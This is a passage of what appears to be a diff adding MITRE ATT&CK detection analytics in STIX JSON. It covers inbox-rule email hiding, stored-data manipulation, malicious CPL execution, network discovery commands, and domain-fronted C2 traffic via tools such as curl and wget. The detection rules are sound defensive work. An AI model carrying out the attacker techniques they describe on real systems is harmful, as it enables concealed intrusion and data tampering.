"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode", + "channel": "ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "The correlation window for dfsvc.exe/rundll32.exe execution and subsequent module loads or child processes (e.g., 0\u201310 minutes)." + }, + { + "field": "KnownClickOnceApps", + "description": "Whitelist of legitimate ClickOnce applications and paths." + }, + { + "field": "SuspiciousChildList", + "description": "Child processes considered abnormal when launched by dfsvc.exe or rundll32.exe." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a09ed72b-be04-475f-8c0a-11ed47b40bd1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0192#AN0551", + "external_id": "AN0551" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0551", + "description": "Suspicious creation or modification of inbox rules through PowerShell (New-InboxRule, Set-InboxRule) to automatically delete, move, or hide emails. Defender perspective: unusual rule activity correlated with mailbox access and filtering patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:Security", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "New-InboxRule or Set-InboxRule events recorded in Exchange Online" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousKeywords", + "description": "Keywords like 'phish', 'malware', 'suspicious' used in inbox rules to hide emails." + }, + { + "field": "UserContext", + "description": "Scope mailbox monitoring to high-value users such as executives or admins." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--863a9028-6b2a-46c6-b696-dd310937fbf9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0192#AN0552", + "external_id": "AN0552" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0552", + "description": "Alterations to plist configuration files (RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, MessageRules.plist) that define email hiding or filtering rules. Defender perspective: unexpected changes in these files associated with Mail.app processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Modifications to Mail.app plist files controlling message rules" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Mail.app executing with parameters updating rules state" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedPlistFiles", + "description": "Adjust to monitor only rule-related plist files relevant to the environment." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--487d9ddf-a790-4adc-9be4-ec5651e790f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0192#AN0553", + "external_id": "AN0553" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0553", + "description": "Rule manipulation through local email clients (e.g., Evolution, Thunderbird) or server-side filtering scripts (e.g., sieve) creating conditions to move or discard emails with security-related keywords.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve calls modifying local mail filter configuration files" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "ApplicationLog:MailServer", + "channel": "Unexpected additions of sieve rules or filtering directives" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MailServerLogs", + "description": "Customize based on mail server software (Postfix, Dovecot, Exim)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--747a2974-0c77-4c47-9c02-2775025327c6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0192#AN0554", + "external_id": "AN0554" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0554", + "description": "Suspicious rule creation within Outlook or Exchange clients, including auto-move or delete conditions tied to incident or security alert keywords. Defender perspective: correlation between missing inbound emails and newly added mailbox rules.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Transport rule or inbox rule creation events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RuleScope", + "description": "Decide whether to monitor individual mailbox rules, org-wide transport rules, or both." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e08eb9fa-4a45-434b-9776-277bd545f1f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0193#AN0555", + "external_id": "AN0555" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0555", + "description": "Identify unauthorized creation, deletion, or modification of business-critical stored data such as Office documents, database files, and log archives. Detect anomalous processes modifying stored data outside of expected workflows (e.g., non-database processes modifying database files).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=23" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Security", + "channel": "EventCode=4656,4663" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredDirectories", + "description": "Paths to sensitive stored data files such as database directories or email archives." + }, + { + "field": "AuthorizedProcesses", + "description": "List of legitimate processes expected to create, delete, or modify stored data." + }, + { + "field": "TimeWindow", + "description": "Threshold for correlating multiple suspicious file operations within a short period." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--425a3e89-ac22-4ff3-bc1e-ca1672113075", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0193#AN0556", + "external_id": "AN0556" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0556", + "description": "Detect suspicious file creation, modification, or deletion in stored data directories (e.g., `/var/lib/mysql/`, `/var/log/`, mail spools). Identify shell commands interacting directly with structured data files instead of legitimate database utilities.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "open, unlink, rename: File creation or deletion involving critical stored data" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write: Modification of structured stored data by suspicious processes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedPaths", + "description": "Environment-specific paths where business-critical stored data resides." + }, + { + "field": "CommandExclusions", + "description": "Legitimate scripts/utilities excluded to minimize false positives." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--23b6aee9-90fc-46b8-bf8b-36043218f393", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0193#AN0557", + "external_id": "AN0557" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0557", + "description": "Monitor sensitive data files such as plist-based storage, mail archives, or Office files for unexpected modifications. Detect anomalous processes modifying stored data outside expected update cycles using FSEvents and Unified Logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Unexpected creation or modification of stored data files in protected directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "macos:osquery", + "channel": "CREATE, DELETE, WRITE: Stored data manipulation attempts by unauthorized processes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FileIntegrityBaseline", + "description": "Baseline hash values or metadata for stored data files to detect manipulation." + }, + { + "field": "AllowedEditors", + "description": "Whitelisted applications permitted to update stored data (e.g., Outlook, MySQL)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8581bca4-9d34-4c78-87f7-29244581d140", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0194#AN0558", + "external_id": "AN0558" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0558", + "description": "Execution of control.exe or rundll32.exe with parameters pointing to CPL files, especially from non-standard directories or newly created files, followed by suspicious child process execution or registry modifications registering new Control Panel items.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=12" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CPLPathRegex", + "description": "Regex to match CPL file paths; tune to exclude legitimate CPLs in System32" + }, + { + "field": "ParentProcessName", + "description": "Helps filter known parent processes that legitimately use control.exe" + }, + { + "field": "NewFileTimeWindow", + "description": "Time delta between CPL file creation and execution to detect rapid execution of newly dropped files" + }, + { + "field": "RegistryKeyAllowlist", + "description": "Whitelist of known good CPL registry entries" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--edfec58e-e591-4057-a906-1baf3674d80b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0195#AN0559", + "external_id": "AN0559" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0559", + "description": "Execution of built-in tools (e.g., ipconfig, route, netsh) or PowerShell/WMI queries to enumerate IP, MAC, interface status, or routing configuration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcess", + "description": "Filter known/legit CLI chains (e.g., explorer.exe \u2192 cmd.exe) to reduce FP" + }, + { + "field": "UserContext", + "description": "Target executions by non-admin or unexpected users" + }, + { + "field": "TimeWindow", + "description": "Cluster enumeration commands within short time windows" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6a57daad-9d2c-4851-a46e-b6ebac607a4c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0195#AN0560", + "external_id": "AN0560" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0560", + "description": "Execution of `ifconfig`, `ip a`, or access to `/proc/net/` indicating collection of local interface and route configuration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLinePattern", + "description": "Match regex for variations in enumeration syntax (e.g., `ip -4 addr show`)" + }, + { + "field": "InteractiveShellIndicator", + "description": "Differentiate scripted versus interactive sessions" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--79c196d7-abb8-4766-a875-4acafc6f059d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0195#AN0561", + "external_id": "AN0561" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0561", + "description": "Execution of `ifconfig`, `networksetup`, or `system_profiler` to query IP/MAC/interface configuration and status.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptedContext", + "description": "Scripted tools (e.g., bash calling `ifconfig`) vs GUI-initiated inspection" + }, + { + "field": "ExecutionFrequency", + "description": "Enumerations executed frequently or across multiple interfaces may indicate enumeration loops" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cb70ad2f-7c96-4669-baed-3007246b0630", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0195#AN0562", + "external_id": "AN0562" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0562", + "description": "Use of `esxcli network` commands (e.g., `esxcli network nic list`, `esxcli network ip interface ipv4 get`) via SSH or hostd to enumerate adapter and IP information.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SSHSessionOrigin", + "description": "Detection may vary based on internal vs remote terminal usage" + }, + { + "field": "esxcliCommandDepth", + "description": "Distinguish between benign status checks and deep enumeration chains" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e7debe02-4326-48ae-aa22-59c2a847d3e7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0195#AN0563", + "external_id": "AN0563" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0563", + "description": "CLI-based execution of interface and routing discovery commands (e.g., `show ip interface`, `show arp`, `show route`) over Telnet, SSH, or console.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Username", + "description": "Highlight low-privileged or non-routine users performing discovery" + }, + { + "field": "CommandString", + "description": "Allow for tuning based on command regex or frequency" + }, + { + "field": "TransportType", + "description": "SSH vs Telnet vs Console session logging scope" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e5cb92b6-75b0-4eed-aa1e-4ea529f50fbb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0196#AN0564", + "external_id": "AN0564" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0564", + "description": "Suspicious outbound HTTPS connections where the TLS Server Name Indication (SNI) does not match the HTTP Host header, indicating potential use of domain fronting to mask C2 traffic via CDNs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Connections", + "channel": "TLS handshake + HTTP headers" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SNIHostMismatch", + "description": "Define acceptable mismatch ratio between SNI and HTTP Host fields based on legitimate domain usage patterns." + }, + { + "field": "CDNAllowList", + "description": "Whitelist of known safe CDN front-end domains (e.g., `cdn.company.com`)." + }, + { + "field": "ProcessInitiator", + "description": "Filter for suspicious initiators of domain fronting, e.g., scripting engines, lolbins, unknown binaries." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e031d1a5-92a9-46df-9467-d6899d48f57b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0196#AN0565", + "external_id": "AN0565" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0565", + "description": "Applications such as `curl`, `wget`, or custom binaries initiate HTTPS connections where the TLS SNI is mismatched or absent while HTTP Host targets CDN-available C2 endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "ssl.log + http.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SNIFieldAbsent", + "description": "Detect TLS sessions where SNI is empty\u2014'domainless' fronting." + }, + { + "field": "AllowedTools", + "description": "Environmental tuning for known binaries using alternate SNI for testing (e.g., API tests)." + }, + { + "field": "ProcessContext", + "description": "Enrich command-line arguments or parent-child lineage to detect abuse." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b4cf91ba-a22b-49b4-978e-32c3e1301c74", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0196#AN0566", + "external_id": "AN0566" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0566", + "description": "Unsigned or user-space apps initiate TLS connections with one hostname and HTTP headers requesting a different domain, commonly abused in CDN-resident domain fronting techniques.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "network, socket, and http logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UnsignedBinary", + "description": "Helps tune detection when unsigned apps initiate fronted sessions." + }, + { + "field": "HostHeaderMatch", + "description": "Threshold to flag inconsistent domain targeting in encrypted sessions." + }, + { + "field": "SOCKSPortAnomaly", + "description": "Alert on unusual ports used in HTTPS+SOCKS activity patterns." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4192b311-da7a-4ef1-b09a-a03a8c2a1670", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0196#AN0567", + "external_id": "AN0567" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0567", + "description": "Traffic originating from ESXi hosts or management interfaces displays SNI-to-Host mismatch behavior, particularly anomalous given typical infrastructure communication patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": 